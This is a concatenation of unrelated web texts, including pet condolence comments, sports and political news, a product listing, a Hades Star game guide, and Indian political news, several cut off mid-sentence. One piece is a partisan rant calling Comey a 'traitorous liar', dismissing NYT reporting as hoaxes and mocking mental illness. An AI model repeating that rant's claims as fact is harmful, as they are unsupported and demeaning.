will ALL meet up with our ANGELS."Beth Kennedy: "so sorry for your loss, Susie"Leslie Sennett: "Aww, my deepest heartfelt condolences; it's tough losing a pet. I know and feel your pain ♥"Carol Baker: “Such a handsome boy. I'm really sorry to hear of his passing, Susie. It's been a rough year for my elderly pets here in Hooterville too. But... I'm steeling myself for a trip to the shelter to find someone to save me again. And you know what I always say... they don't'replace' the one who passed. They find a place in our heart we never knew we had... they make our hearts bigger.”Jessica Lange Arnold: “So sorry for your loss, Susie. You saved their lives and your heart has been blessed by loving them. Happy memories to cherish during this difficult time.”Wooftastic Books: "So sad. it's always hard when your furry friend passes away."Linda Gentry Guest: “I'm so sorry. Been in your shoes too many times.”Joan Sample: "I am sorry for your lost, I know how much we as pet owners love our pets! I have two myself. My Chihuahua Cheech has severe heart disease, and has to take two different medications twice a day. Again, I'm sorry for your lost!"Valerie Parent: "Sorry for your pain today! What a beautiful dog he was. I feel the same way about rescuing animals and I cried to see the video you posted about Miley. I look forward to your blogs, but this one is special because of Jack. ♥"Rita Tortonesi Dieter: "It is true heartache to loose your pet. Our dogs have been rescues. It seems they know they were rescued and are so faithful."Kathy Bostwick: "Awww Susie - I am so very sorry for your loss but your words......they are amazing.....and I hope your words will enlighten the rest of the world on the LOVE OF A FUR KID....I so wanted to say 'dog' but being the crazy cat lady that I am..... ;) But seriously - a fur kid - no matter what size, species or habits - is FAMILY & it hurts when they leave us Please take comfort in knowing you & your family are in my thoughts & prayers <3"Joseph L. Ceniccola: "so sorry for your loss"Rochelle Epstein: "Susie, I am so sorry to read about Jack, you are in our thoughts, with love and licks, Layla and Me xxxx"Nancy Hartman: "So sorry for your loss, it's so sad when your loving family pet member passes away from you. My deepest heartfelt condolences!!"Mary Maday: "A beautiful tribute. Jack and Zelda would be so proud."Shannon Basner: "So sorry for your loss of Jack. He was loved by you so dearly and though we have never met I know that you have him the most wonderful life. Run free sweet Jack, make many new friends and until you meet again, smile with your heart."Alice Rivera: "Your dogs made you happy, but you made them happy too. You will meet in heaven. Your friend, Alice."Suze Blackman: "Sorry to hear about the loss of your dog Jack."In 2012, the first part of my SL year was spent re-working my take on Frank Lloyd Wright’s famous “Fallingwater“, which eventually wound-up in a quarter-sim in-world for a few weeks.
That build is now boxed for a rainy day, but as I indicated later in the year, I’ve reproduced Fallingwater in Kitely, where it has a full region of its own, allowing me to develop a landscape more in keeping with that of the original. Since then, I’ve been tinkering around with it, adding a region windlight and generally tightening things up. There are still some parts I want to rework, once I have better source material by way of photos (most notably Bear River and the falls), but for now the house is just about done.
With the Second Life build, I produced a modest video; however the result wasn’t overly brilliant – largely because I didn’t really appreciate what I was doing in terms of the technical side of producing the video. Recently, I’ve had some good advice and help from Fuzonacid via YouTube, prompting me to have a further go, this time focusing on the Kitely build.
As it is the start of a new year, I could hardly let it pass without reference to my obsession :), so I hope you enjoy the video (and the Flickr slideshow has also been updated!).
AdvertisementsUefa has made it clear to its member nations that it does not support Sepp Blatter's intention to seek a fifth term as president of Fifa.
The BBC has learned that Uefa does not want them to take part in any standing ovation for Blatter at Fifa's annual congress if he announces that he will stand for re-election.
The 78-year-old Swiss has held the post since first being elected in 1998.
Blatter had recently hinted he could look to stay in the post from 2015.
Media playback is not supported on this device Sepp Blatter: "I am the ship's captain"
If Blatter did seek a fifth term of office, it would appear to break a promise he made to Uefa's congress in 2011 that this would be his last period as the head of Fifa.
Fifa's decision to hand the 2022 World Cup to Qatar is being investigated amid fresh claims of corruption over how the gulf state won the vote in December 2010.
It is thought Blatter will address Fifa's annual congress in Sao Paulo next week and will make it clear he is willing to take on another four-year mandate - but only if it is the will of the governing body's member associations.
Up to four football confederation heads may then address the congress and state their support for his candidacy, prompting Blatter to then accept their invitation.
It is understood that European football's governing body does not want representatives from each of its 54 member nations attending the congress - which will include Football Association chairman Greg Dyke - to join in with any acclaim for Blatter if, as expected, his candidacy his announced.
Michel Platini, Uefa's president, is thought to be undecided over whether he wants to seek the Fifa presidency in next year's election, with many observers expecting that he will decide not to run.
Wolfgang Niersbach (left), pictured with Uefa president Michel Platini, could be one of two possible Uefa candidates to oppose Sepp Blatter
Given his position, and Uefa's determination to oppose Blatter in the ballot, alternate candidates have been sounded out in case Platini decides not to proceed.
BBC Sport also understands that the Dutch FA president Michael van Praag and the German FA president Wolfgang Niersbach are under consideration by Uefa as potential candidates to stand against Blatter in the Fifa presidential election, which will take place next year.
While no formal approach has been made to either man, both Van Praag and Niersbach are believed to fit the profile that Uefa is looking for in potential candidates.
Uefa do not expect Van Praag - who was re-elected head of the Dutch FA last December - or Niersbach - a 62-year-old former sports journalist - to defeat Blatter.
But the hope is that the presence of one of the men on the ballot paper will send a strong message over their dissatisfaction with Blatter's candidacy and Fifa's overall direction.LIMA, Nov 20 (Reuters) - A criminal case against Russia’s former Economy Minister Alexei Ulyukayev has no impact on ongoing privatisation deals, including the stake sale in oil firm Rosneft, Russian President Vladimir Putin said on Sunday.
Putin dismissed Ulyukayev on Tuesday over allegations he extorted a $2 million bribe from top oil producer Rosneft, a case that could expose fault lines in the Russian leader’s inner circle.
“We will not revise our previously (made) privatisations plans”, he told a news conference in Lima after the APEC summit.
Ulyukayev’s ministry is overseeing a politically charged sale of state assets as the government intends to plug holes in the budget this year.
“It’s clear that both the government and Rosneft’s management will work out on Rosneft’s shares sale”, he said.
The Russian state is preparing to sell a 19.5 percent stake in Rosneft, the biggest Russian oil producer and one of the largest in the world.
Rosneft is expected to buy back the 19.5 percent stake from Rosneftegaz, the state holding company, which altogether owns 69.5 percent of Rosneft, with a view to reselling the shares to investors in the first quarter of next year.
Putin said the resell would ahead and that his confidence in government has not waned even after the minister was put under house arrest.
The state is seeking to raise about 700 billion roubles ($11 billion) from the sale of the 19.5 percent stake in Rosneft. (Writing by Denis Pinchuk; Editing by Sandra Maler)Wait a sec… You mean James Comey wrote a memo to HIMSELF, then “leaked” it to the NYT?
Seriously, now: At what point does the idiocy of the corporate-run media finally become so utterly obvious to everyone that we all just laugh out loud at the idea that the NYT (or WashPost) has any credibility at all?
The latest “bombshell” news story from the New York Times — entitled Comey Memo Says Trump Asked Him to End Flynn Investigation — is based entirely on a memo that James Comey wrote to himself, then “leaked” to the NYT.
Huh?
If you wrote it yourself, it’s not exactly a “leak,” is it? It’s actually some words scribbled on a napkin, all of which may or may not be accurate about what was actually said at the meeting. For all we know, James Comey decided to scribble his silly memo the day after he got fired by Trump.
It has no credibility at all, in other words. James Comey wants to damage the Trump administration, so he jots down whatever lies he wants the NYT to publish, then he calls it a “memo.” (Gee, I can write memos, too. The memo in my hand at the moment says that James Comey is a corrupt, traitorous liar who covered up the crimes of Hillary Clinton. If I “leak” it to the NYT, will they write a headline story on it, too?)
The fact that the Comey memo is being widely reported as a “leak” to the NYT underscores the fact that nobody in the establishment media knows what a “leak” really is. It’s not a leak if you wrote it yourself, obviously, unless the words leaked out of a hole in your head and spilled onto the memo pad.
When you write yourself a memo, those aren’t leaks unless you are a schizophrenic multiple personality mental patient where perhaps one personality “leaked” a secret to your other personality via the voices in your head. Does James Comey have voices in his head? Are they the same voices that told him not to prosecute Hillary Clinton for a long list of obvious crimes in the mishandling of classified information? Even more importantly, are these the same voices that NYT reporters are citing when they claim “anonymous sources” told them all sorts of astonishing things that can’t be sourced to any real person?
Yes, I’m pointing to the obvious, rational conclusion in all this, which is simply that the delusional effort to continue fabricating fake news against President Trump is rooted in a kind of mass mental illness that has clearly infected not only James Comey, but also Michael S. Schmidt, the conspiracy-theorist-in-chief at the NYT who apparently has all sorts of “anonymous sources” talking to him in his own head. (Gosh, it must be confusing in there. Which voice are you supposed to listen to in any given moment?)
Such people think they want President Trump impeached, but what they truly need is a 48-hour observation period in a psychiatric ward, possibly followed by mind-numbing medication to finally silence all the “high-level leaking” that seems to be happening between their ears. With writers like Michael S. Schmidt fabricating fake news almost by the hour, the New York Times has become the laughing stock of serious media. As Gerald Celente calls it, the NYT is now the “toilet paper of record” in America. Almost everything they publish these days on politics is a news hoax.Analyzing the early season NBA MVP race
Only one-third of the NBA regular season is in the books, but the 2017-18 MVP already looks like a two-horse race. LeBron James is having the best season of his 15-year career, while James Harden leads the NBA in scoring and has the Rockets atop the Western Conference standings.
Here’s an early look at the top five candidates for the NBA’s Most Valuable Player award this season.
James Harden
As of this writing, the Rockets (23-4) are riding an impressive 12-game winning streak and own the best winning percentage in the NBA. He is the best player on the NBA’s best team, which gives him the inside track as the frontrunner for MVP this season.
Harden has been ridiculously efficient this year, scoring 31.5 points a night on 45.5 percent from the field, 39.4 percent from the three-point line and 86.5 percent from the free throw line. He’s adding 9.3 dimes, 5.1 rebounds, and 1.9 steals per game and has the advanced stats to back up his MVP case too.
Harden has the smoothest and most complete offensive arsenal of any player in the game right now. The Rockets’ dynamic guard is scoring more than 10 points per game in isolation, while averaging 1.26 points per possession in one-on-one situations. LeBron James is second in the NBA in isolation scoring at 6.9 points per game.
Opponents are faced with an impossible dilemma while trying to slow down The Beard. Guard Harden too tight – and he will blow by defenders for an easy bucket. Cut off the dribble drive – and he unleashes a lethal step back jumper. Harden is shooting a ridiculous 55.3% on step back three-pointers this season – a move that has made him impossible to defend.
And he’s doing it while playing less than 36 minutes per game. In fact, he is playing the least number of minutes (35.7) since coming over to Houston in the 2012-13 season.
He has even found a way to co-exist with Chris Paul. The Rockets’ star backcourt is outscoring opponents by 8.1 points per 100 possessions while sharing the court together so far this season.
Harden has been the NBA’s best player on the NBA’s best team. The Rockets look like they have a legitimate chance to upstage the Warriors in the Western Conference and could finish with the number one seed, especially if Stephen Curry’s ankle injury lingers throughout the season.
LeBron is having an absolutely fantastic year, but if the Rockets earn the number one seed in the Western Conference, it would be a shame for Harden to lose a second straight MVP award over a couple of rebounds per game.
LeBron James
A lot is being made of how well James is playing in his 15th NBA season, but at age 32, he’s still in the prime of his career. James is in the midst of his best and most efficient season ever and he’s gunning for the MVP award.
LeBron is averaging 28.1 points, 8.3 rebounds, and a career-best 9.1 assists per game this season. He’s shooting 57.8 percent from the field and 41.1 percent from three-point range so far this season, which both represent career-highs as well.
With the Cavs playing more small ball, LeBron has also taken on the role as the team’s rim protector. He’s set the tone on the defensive end by averaging 1.1 blocks and 1.4 steals per game through the first 29 games.
LeBron has had five seasons with a player efficiency rating (PER) of over 30 – his four MVP campaigns and this one. He leads the league in PER at 31.51 and owns a league-best 11.3 estimated wins added so far this season.
With the inevitable return of Isaiah Thomas looming, the Cavaliers look primed to take over the top seed in the Eastern Conference.
If they can make a late season run, I have a feeling that voters will give the edge to James and crown the king as the league’s most valuable player.
Kyrie Irving
What the Boston Celtics have done without Gordon Hayward has been truly remarkable and a lot of that has to do with how well Kyrie Irving has adapted to Brad Stevens’ system.
In fact, it’s hard to imagine how dangerous this team could be when adding another 20 point per game scorer and playmaker to the equation.
When Irving made the decision to leave Cleveland, a lot of fans questioned why he wouldn’t want to play with the greatest playmaker in the world – LeBron James. But since coming to Boston, Irving has bought into a more team-centric approach and is getting more help than ever. According to Basketball Reference, teammates have assisted on 27.1 percent of Irving’s field goals inside the arc this season. Not only does that represent a career-high for Irving, but it also marks a nearly five percent increase from the year before.
Irving’s handles make him one of the toughest guards in the NBA to defend, just ask Avery Bradley, one of the league’s best on-ball defenders. Uncle Drew is averaging 24.3 points, 4.9 assists, and 1.3 steals this season, while flirting with a 50/40/90 line.
But, that doesn’t tell the entire story.
Irving has matured into a leader and a playmaker that makes everyone around him better.
Despite playing just 32.3 minutes per game, Irving is enjoying the highest usage rate of his career (31.2) and averaging a career-high 27.2 points per 36 minutes. He’s also averaging career-highs in box score plus-minus (5.9) and win shares per 48 minutes (.233).
If the Celtics can repeat as Eastern Conference Champions, voters will have to keep Kyrie in the MVP discussion.
Kevin Durant
It is important for everyone to remember: there is still a lot of basketball left on the regular season schedule. With that being said, there is one player that people shouldn’t count out of the MVP race – Kevin Durant.
Durant has taken his game to another level in the absence of Stephen Curry. When Durant has played, the Warriors are an undefeated 5-0 without Curry this season and KD has stepped up in a big way in lieu of Curry’s recent injury. Durant is averaging 33.8 points, 10.3 rebounds, and 7.3 assists in the four games since Curry has been sidelined.
Curry has had a history of ankle injuries and it’s not unlikely to think that the Warriors would opt to rest their superstar point guard throughout the season to keep his ankle 100 percent.
That would leave the door open for Durant to remind everyone that he’s the best player in the world right now – something he did often in last year’s postseason run.
Durant’s numbers already stack up with the likes of LeBron and Harden – and like I mentioned before – they could be on the rise.
He’s already averaging 26.1 points, 7.0 rebounds, 5.3 assists, and 2.1 blocks per game for the season, so it wouldn’t be a stretch for him to come away with the MVP award – if the Warriors can win the West.
Durant is the most likely candidate to slide into the MVP conversation and the dark horse to win the MVP at this point in the season.
Giannis Antetokounmpo
Early on, it looked like the Greek Freak was going to be the odds-on favorite to run away with the MVP award, but Antetokounmpo and the Bucks have cooled down considerably since the month of Novemeber.
The evolution of Giannis Antetokounmpo’s game has been fun to watch and he took another major step forward as a scorer this season. Not only has been more aggressive on the offensive end, but he’s dunking on EVERYONE this year.
He attacks the rim with a ferocity that hasn’t been seen since the likes of a young Amare Stoudemire or even a vintage version of Shawn Kemp.
And his skill set is as unique as anyone who’s ever played the game.
Antetokounmpo is averaging 29.9 points, 10.5 rebounds, 4.5 assists, 1.8 steals, and 1.6 blocks per game so far this season.
But, it doesn't end there.
Antetokounmpo continues to mature on both ends of the floor. The Greek Freak is turning the ball over on a career-low 10.5% of his plays this season, while averaging a career-high 33.1 percent usage rate. He’s also on pace to set career-highs in points, rebounds, steals, and field goal percentage (54.8 percent) in his fifth NBA campaign.
Antetokounmpo has been a menacing force on the defensive end as well, causing problems for opposing big men with his length and athleticism. He’s averaging over 1.5 blocks and 1.5 steals for the second consecutive season, making him one of the most versatile defenders in the NBA.
Never has a player created so many mismatches on the floor, but even with the major step forward this season, The Greek Freak is still probably a couple of years away from nabbing his first MVP award.
This article was originally published on sportsCOLUMBUS, Ohio – A Perry County judge who made a name for himself warning young people of the dangers of drinking and driving has found himself under arrest, charged with driving drunk and leaving the scene of a crash. Columbus Police say Judge Dean Wilson was driving under the influence Sunday when he crashed into a COTA bus.
COLUMBUS, Ohio – A Perry County judge who made a name for himself warning young people of the dangers of drinking and driving has found himself under arrest, charged with driving drunk and leaving the scene of a crash.
Columbus Police say Judge Dean Wilson was driving under the influence Sunday when he crashed into a COTA bus.
�It wasn't like he sideswiped it. It was like he hit directly into it,� Mark Williams, a passenger on the bus, told 10TV. He said they were westbound on West Spring St in the Arena District when the black Mercedes hit the bus.
�It was hard, like boom,� said Williams. �And he just backed up and ran off. And we couldn't believe it. We was just stunned for a minute. The bus driver said, �Did somebody just hit me?� and we're all like, �Yeah, and he just ran off.��
A Columbus Police helicopter aided in the search for the driver, who was found 12 miles away, on I-70 eastbound near Brice Road.
"He responded like a regular criminal would and ran. That's it. He ran," said Williams.
Columbus Police say Judge Wilson refused a breathalyzer and field sobriety tests. Thursday he also refused to answer questions from 10TV.
"I understand you've got a job to do. And I appreciate that, but I have no comment. Any questions can be directed to my attorney,� he said.
Read more about this story and a report 10TV aired on the judge�s program to deter teens from driving by clicking here.Dimensions & Weight:
2 inches (5.1 cm) tall, 1 7/8 inches (4.8 cm) wide, 7/8 inch (2.2 cm) deep
1.6 ounces (45 grams)
Product Features:
Reproduction of a nautical s extant
Available plain or engraved "Stanley London"
Plain version can be custom engraved
Full Description:
This Stanley London® sextant key chain is the perfect gift for the nautical person in your life. The tiny brass sextant is fully functional. Its index arm moves, the scale is accurate given its small size, it has a half-silvered horizon mirror and a fully-silvered index mirror. The one-power telescope has a plain glass objective lens and swivels to either fold up for a compact size, or points toward the horizon mirror for use. The horizon mirror is adjustable via a small brass screw on the rear of the sextant, and the optics can be aligned so the sextant will yield a rough angle between two objects.Army Pfc. Bradley Manning is escorted into a courthouse at Fort Meade before a sentencing hearing in his court martial. A military judge on Wednesday sentenced Manning to 35 years in prison for leaking hundreds of thousands of classified documents to the WikiLeaks Web site.
Aug. 21, 2013 Army Pfc. Bradley Manning is escorted into a courthouse at Fort Meade before a sentencing hearing in his court martial. A military judge on Wednesday sentenced Manning to 35 years in prison for leaking hundreds of thousands of classified documents to the WikiLeaks Web site. Patrick Semansky/AP
The Army private who leaked classified documents to WikiLeaks must serve at least a third of the sentence.
An Army judge finds Pfc. Bradley Manning not guilty of aiding the enemy by disclosing secret U.S. government documents. Military prosecutors had argued that the largest leak in U.S. history had assisted al-Qaeda. But the judge, Col. Denise Lind, found Manning guilty of most of the other charges.
An Army judge finds Pfc. Bradley Manning not guilty of aiding the enemy by disclosing secret U.S. government documents. Military prosecutors had argued that the largest leak in U.S. history had assisted al-Qaeda. But the judge, Col. Denise Lind, found Manning guilty of most of the other charges.
An Army judge on Tuesday acquitted Pfc. Bradley Manning of aiding the enemy by disclosing a trove of secret U.S. government documents but found him guilty of espionage, a mixed verdict that dealt a rebuke to military prosecutors who sought to prove that the largest leak in U.S. history had assisted al-Qaeda.
The judge, Col. Denise Lind, found Manning guilty of most of the more than 20 crimes he was charged with, including several violations of the Espionage Act. He could face a maximum of 136 years in prison.
The case, tried in a small courtroom at Fort Meade, Md., an installation that includes the National Security Agency, unfolded amid a heated national conversation about the right balance between government secrecy and civil liberties — a debate fueled by recent revelations about the scope of U.S. anti-terrorism surveillance programs.
In charging Manning with aiding the enemy, government prosecutors argued that the former intelligence analyst’s decision to release diplomatic cables and battlefield reports amounted to the highest form of treason.
Lind did not buy that argument. But her verdict, which marked the first major espionage conviction during the Obama administration, is certain to set markers in the debate over government secrecy and whistleblower protections.
View Graphic The verdict for each of Wikileaks source Bradley Manning's charges.
Manning’s attorney, David E. Coombs, said he was pleased by the verdict, but he signaled that the decisive moment will come during the sentencing phase of the court-martial, which opens Wednesday and could last several weeks.
“We won the battle, now we need to go win the war,” Coombs said after leaving court. “Today is a good day, but Bradley is by no means out of the fire.”
Lind also acquitted Manning, 25, of one count of violating the Espionage Act that stemmed from his leak of a video that depicted a deadly U.S. military airstrike in Afghanistan’s Farah province.
Military prosecutors did not speak publicly after the verdict. Some lawmakers said the case served as a reminder that the government must do more to prevent the disclosure of classified information, citing the disclosures about U.S. surveillance programs by former NSA contractor Edward Snowden.
“There is still much work to be done to reduce the ability of criminals like Bradley Manning and Edward Snowden to harm our national security,” said a statement issued by Reps. Mike Rogers (R-Mich.) and C.A. Dutch Ruppersberger (Md.), the chairman and ranking Democrat, respectively, on the House Intelligence Committee.
Legal precedent feared
The eight-week trial at Fort Meade offered a gripping account of Manning’s transformation after he was deployed to Iraq in 2009. Prosecutors asserted that, after being startled by what he came to view as egregious U.S. wartime misconduct, Manning became a mole for the anti-secrecy group WikiLeaks, using his access to classified information to collect more than 700,000 documents that ultimately became public. They ranged from sensitive detainee assessments to diplomatic dispatches, some decades old, that embarrassed their authors and angered their subjects.
Had Manning been convicted of aiding the enemy, he would have faced a sentence of life in prison without the possibility of parole. Prosecutors were relying on a Civil War-era conviction to bolster their case. They argued that Manning should have known that terrorist organizations would have an interest in, and potentially benefit from, the disclosures.
Civil libertarians feared that a conviction on that charge would have set a dangerous precedent.
“The heart of this matter is the level of culpability,” said retired Air Force Col. Morris Davis, a former chief prosecutor for the military commissions at Guantanamo Bay, Cuba. He noted that Manning has already pleaded guilty to some charges and admitted leaking secret documents to WikiLeaks that he felt exposed battlefield misdeeds. “Beyond that is government overreach,” Davis said.
Supporters’ partial relief
Lind made no substantive remarks as she delivered the verdict, and Manning showed no reaction as she did so. A gaggle of Manning supporters who have been following his case expressed partial relief at the outcome.
“I am relieved for Bradley Manning and our country that he was not convicted of the aiding-the-enemy charge,” said Nathan Fuller, a member of the Bradley Manning Support Network, which advocates for the defendant. “But I am depressed for Bradley that he still faces decades in jail after being found guilty of all these charges.”
WikiLeaks founder Julian Assange called the verdict “an example of national security extremism.”
“Bradley Manning’s alleged disclosures have exposed war crimes, sparked revolutions and induced democratic reform,” Assange said. The Obama administration, |
help the Chargers remain in San Diego if given a few more days.
The problem in ascertaining absolute truth in this case is that there are too few people who know the entire story.
And, really, it behooves the NFL to have the origins of the new L.A. Chargers shrouded in mystery. There have been too many missteps and possibly too much misdirection.
That said, the following account of the demise of a San Diego institution is pieced together from accounts by sources in San Diego, Los Angeles, New York and places in between – people in and around the machinations whose information has proved as reliable as any versions given over the course of this saga. Their independent accounts of what transpired and what was attempted – being that they are sources from the league, other teams, city government and the Chargers – provide a sketch of the final days of San Diego’s NFL team.
We are still left with questions about what was real — in particular, the money – and why Spanos ultimately pushed the eject button.But virtually everyone queried for this story over the past week indicated Spanos was desperately trying to find a way to keep his team in San Diego before finally, abruptly deciding he could not.
The quick denouement of the Chargers’ 56 years in San Diego blindsided Maas, the businessman who continued to work for the Chargers as their liaison with San Diego officials after the team’s Measure C initiative failed.
“As of Tuesday I was hopeful we could consummate a deal to keep the team here and was making plans and provision to do just that,” Maas said, referring to the night of Jan. 10. “But at the end of the day, these were high-stakes games with a lot of risk.”
Maas declined to elaborate, not wanting to “pile on” Spanos and remaining steadfast that the Chargers chairman wanted to stay in San Diego and that the liability for how the departure played out lies with many parties and circumstances.
Maas maintained in a Friday morning conversation that he is still in shock.
That feeling is consistent with the feeling around the country among many close to the process.
At a rally in which the Chargers welcomed themselves to Los Angeles this week, the mood certainly reflected that same lingering astonishment. The incredulity was evident on the faces and in the voices of two league executives who said there was merit in reading into the absence of any gushing over Spanos or the Chargers' arrival during NFL Commissioner Roger Goodell’s address at the team's welcome rally.
This relocation is an idea few people in the NFL think is a good one and that some fear could be a disaster for a proud family that could ultimately be undone by the inapt pride of its substitute patriarch.
In the end, while Spanos did something many who know him felt was highly uncharacteristic when he made a decision that went against the grain, how he arrived at that decision in the decisive instant seems to have been entirely within his disposition. He was fed up, and he walked away. Anyone who has dealt with him in San Diego over the years knows that is consistent with how Spanos reacts in negotiations.
It is why we will also never be able to agree on a definition of “tried” as it pertains to the Chargers’ supposed 15-year quest for a new stadium.
At virtually every juncture, there are multiple facets to explain how the process of getting a new stadium in San Diego broke down. Certainly, over the course of the past decade-plus, inertia and ineptness by city government was at times an issue. Economic woes, locally and nationally, disrupted efforts. But even in instances Spanos claimed to have had deals in place and blamed others for those proposals not coming to fruition, there are accounts from multiple sources that say it was Spanos refusing to budge in dealings with potential development partners that led to the dissolving.
To the end, the Chargers were “trying” on their terms and with their hand out.
There had been over the course of several weeks discussions between the Chargers and league representatives, including some of Spanos’ fellow owners, about what extra financial assistance could be provided to help the Chargers remain in San Diego.
The common thought was the Chargers needed an extra $175 million to bridge the gap between what was seemingly available from the team, NFL and San Diego officials. But there was also a late push by the Chargers to cobble together more money to finance a smaller stadium built without public funds.
A person close to discussions about privately financing a stadium said the money would have come from “a variety of sources,” including the NFL. Spanos entertained that concession because he was concerned what would happen if he waited on a November 2018 election and lost. The team had begun exploration on cost and was investigating whether the NFL would even allow a scaled-down stadium.
Regardless, according to multiple sources, as of Jan. 10, the Chargers were waiting to hear back from the NFL regarding additional funding.
So if that night brought hope that the Chargers were going to forge a path to a new stadium in San Diego, what happened so soon thereafter to make Spanos decide to hit the road to L.A.?
The answer appears to be: nothing. When the owners on the stadium and finance committees did not address the Chargers’ situation at their Jan. 11 meeting in New York, Spanos concluded he was being strung along and was no longer willing to wait on help that he feared would never come.The city of Sandy Springs has reversed a change to its draft land-use plan that would have permitted a controversial 28-unit townhome project to replace eight houses in the Glenridge Hammond neighborhood.
The city decided to keep the properties as a “Protected Neighborhood” rather than a higher-density designation in response to “strong community input,” said city spokesperson Sharon Kraun. The draft land-use plan, known as the Comprehensive Plan, is headed to a City Council vote Dec. 6.
It is unclear what impact the land-use reversal has on the townhome plan by Sandy Springs-based Monte Hewitt Homes. The company could not immediately be reached for comment.
The Character Area map in the city’s current Comp Plan does not allow such higher-density replacement housing on the properties, which are bordered by Hilderbrand Drive and Johnson Ferry and Harleston roads. The first draft of the new Comp Plan, issued in July, had the properties remaining as a “Protected Neighborhood”—meaning a single-family home area.
In an unannounced change, the next draft in October switched those properties to the higher-density designation. Nearby residents learned of the change when Monte Hewitt Homes filed plans for the townhome project with documents that noted the new land-use plan would allow the project.
Assistant City Manager Jim Tolbert said the land-use change was made partly due to the eight homeowners looking to sell out for redevelopment, and partly because the city thought a higher-density “transition” area works there.
At a Nov. 21 community meeting about the townhome plan, residents expressed strong opposition to the plan and to the underlying land-use change. Members of the Sandy Springs Council of Neighborhoods voiced concerns about land-use changes being made to suit a particular development.
The final draft of the Comp Plan, issued Dec. 2, reversed the land-use switch at the Hildebrand/Harleston site, though it retains a higher-density designation on two abutting commercial properties currently occupied by an auto parts dealer and a bank. The reversal also was made without announcement.
If approved by the council, the Comp Plan will undergo state review for a number of months before final city approval. It would then become the basis for a new city zoning code that is already in the early writing stages.Noob Traps, or What Not To Do
Noob traps: what are they and how to avoid them?
noob
no͞ob/
noun
informal
a person who is inexperienced in a particular sphere or activity, especially computing or the use of the Internet.
In my very first post on Hades Star by Parallel Space, Inc, I gave a real fast and dirty rundown of tips for the game. Many of those tips were "don't do this or that."
This time we're going to elaborate on those tips.
What is a "noob trap" in Hades? Noob traps are pitfalls that players can fall into, thinking they're doing the right thing and it ends up costing them in the long run. This is most often the case with newer players, but even experienced Hades Star commanders get caught up sometimes.
The first and worst trap to fall into is not expanding your system enough. In Hades Star, hydrogen (or purple gas as it is often called) is necessary for everything. Without fuel, there's no ships moving. This means you aren't progressing, as you're not getting income.
Fuel = Credits
Many new players get discouraged when they spend 30k to reveal sectors that are empty. But that's the wrong line of thinking. All sectors are good, and empty sectors have higher asteroid spawns per sector than those which have planets.
The second major trap is forgetting that Hades Star is intended for exceptionally long term game play.
Hades Star developers have taken the opposite stance of standard mobile game apps. The game isn't a money grab. Spending you real life income on in game currency in order to accelerate your development is really going to be a waste.
Note that I am not saying to forego buying crystals. This is absolutely a game you should support with some currency buys, I suggest the $5 start pack and the $20 crystal pack, specifically. The best use of your crystals is actually to save them, a few hundred on hand is perfect. Eventually you are going to run out of hydrogen whilst far away from home in a red star. An emergency fuel boost via crystals will save that 100,000 credit cost fleet.
Next trap is Influence: don't get caught up with it. Hades Star Influence is a shiny, epeen, ego inflating personal score. But Hades Star Influence is not a currency, it is not an accurate representation of fleet composition, system progress, or tech advancement. If you spend any time in red stars, you will quickly max out your influence.
You will notice that many corporations have a minimum influence requirement to join - this is just to filter out brand new players and alt accounts.
Any commander who is active in red stars will spend the large portion of their Hades Star career at the influence cap. The influence cap for each tier of red stars is actualy quite low. So don't worry about getting the max influence from each run, and don't be afraid to abandon a red star and take an influence hit. Sometimes RNGeesus is just a prick and it's better to reroll.
So, the above are the three traps pretty much all players fall into. Let's focus now on some of the easiest pitfalls for the brand new player.
Strength!
That's right, being a badass is actually a bad thing in Hades Star! Like, wtf?
Battleship and technology advancement might seem like the most important things to develop. In the reality of Hades Star, military tech is generally the last thing you want to develop. Battleships consume the most fuel per au (astronomical unit) distance traveled. Their fuel consumption escalates at an alarming rate.
You want to skate by in red stars with the absolute least power you can, the least tech you can, and consuming the least fuel you can. You don't need to clear out the whole map. Efficiency is key to continued success, so always keep the word "efficiency" in your mind when pondering what to spend all your hard earned credits upon.
Specifics advice in this case:
Don't upgrade your battleships early. You only need level 1 BS until red star tier 4.
Don't upgrade your weapons early. Batt 1 and Alpha Shield 1 will see you through red star tier 1 & 2. Batt 2 is a nice quality of life boost in RS3, where you get Passive Shields.
Don't invest in support modules. You won't need them until you are running rs4. As long as you run private red stars via corp, you won't need EMP. With that being said, let me stress "need" - you don't "need" support modules until rs4. Teleport and EMP are both handy in red star tier 3.
And then there is the Remote Repair Glitch.
Don't over upgrade your transport ships. Level them up to carry 2 tons and level your cargo bay expansion for two more tonnage capacity, total of 4. That will see you well through rs4 with lots of profit made along the way.
The most common Noob Trap at the beginning is Delta Shields. Please, do yourself a favor, ignore them. Forget they exist.
Delta Shields are a waste of credits, a waste of time, and a waste of brain cells. Delta shields cost 4x the fuel to activate with only 2x the shield strength, compared to Alpha shields. It is much better to use positioning and target changing tactics with Alpha shields until you get to Passive, which is found in Red Star 3 orbs.
There are two other modules that should be awesome, but aren't - Lasers and Mass Battery. Don't spend credits to unlock these until you progress past red star tier 4.
Cerb ships, before rs5, die too quickly for laser to be useful. Laser takes time to ramp up, and just doesn't cut it early on. Mass Battery sounds like it would be epic, right?
However, Mass Battery has a very low base dps score and will never fire multiple batteries at the same target. RS 1 to 3 rarely have more than two cerb ships per sector, so Mass Batt doesn't shine until much further into the game.
It's easy to think that Battery will be replaced early on. I mean, you unlock it immediately, it's your first tech so it's gotta be replaced soon right? Again the HS Devs pull a fast one on us. Battery is useful throughout the known red star tiers. Keep leveling it as you need to and it will be with you for as long as you play.
Another trap is the 25,000 credits for the Diplomacy Station. Don't waste your time and money building a Diplo until you know for certain you have a need for it. That 25kC is better spent elsewhere, just like the cost of Delta.
The last trap I'll discuss today is ourselves. We are our own weakness. Impatience is the challenge we all succumb to.
It is my greatest weakness. Red Star has that ugly 15 minute timer always counting down, and it is easy to feel rushed. Don't let it get to you. Breath, relax, and think. Use asteroid & planet waypoints to your advantage. Go after the sentinels first, even if you have to bypass a guardian to do it. But definitely don't risk your transport ships! Dead ships are a costly venture that will only slow your progress.
Remember, efficiency is success. Success in efficiency. Go forth and conquer!New Delhi: Setting the tone for its latest round of Delhi Dialogue on governance, Aam Aadmi Party on Tuesday promised to provide water as a "right" upon winning the elections while opining against the privatisation of Delhi Jal Board (DJB).
Releasing a 'White Paper' on water, the party claimed there has been no improvement in the city's water situation even after spending around Rs 32,000 crore in the last 10 years.
"The DJB Act will be amended to make clean drinking water a right of people. About Rs 32,000 crore has been spent in water and sewerage sector by the Delhi government over the last 10 years without much improvement," senior party leader Ashish Khetan said at a press conference here.
